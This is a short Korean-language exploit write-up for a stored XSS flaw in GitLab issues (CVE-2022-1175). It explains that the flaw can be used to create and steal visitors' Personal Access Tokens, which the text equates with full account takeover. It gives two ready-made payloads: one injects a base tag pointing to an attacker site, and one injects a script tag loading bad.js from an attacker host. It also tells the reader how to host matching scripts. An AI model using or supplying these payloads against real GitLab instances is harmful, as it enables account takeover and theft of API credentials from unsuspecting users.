
Gitlab 저장형 XSS로, 프로젝트의 이슈에 설정할 수 있으며 자신의 프로젝트든 다른 사용자의 프로젝트든 가능합니다. 이슈를 방문하는 모든 사람의 Personal Access Token(PAT)을 생성 및 탈취하는 등의 공격을 허용합니다. 탈취한 PAT는 해당 사용자와 동일한 전체 Gitlab API 접근 권한을 제공하므로 사실상 완전한 계정 탈취와 동일합니다.
프로젝트의 베이스를 자신의 사이트로 변경하여 스크립트가 자신의 사이트에서 로드되도록 함으로써 악용할 수 있습니다. 페이지에서 호출되는 스크립트 이름과 일치하도록 자신의 사이트에서 자바스크립트를 변경하세요. 다만 이로 인해 페이지의 일부 기능이 깨질 수 있습니다.
<pre data-sourcepos=""%22 href="x"></pre><base href=http://unsafe-website.com/><pre x=""><code></code></pre>
표준 스크립트 포함 방식도 사이트의 CSP 정책에 따라 동작합니다. 이 방식은 더 은밀합니다.
<pre data-sourcepos=""%22 href="x"></pre><script src="https://attacker-site.com/bad.js"></script><pre x=""><code></code></pre>
GitLab 개발자들은 전체 XSS 문자열을 코드에 포함시켜 두었으며, 다음 링크에서 확인할 수 있습니다:
https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4
참고:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175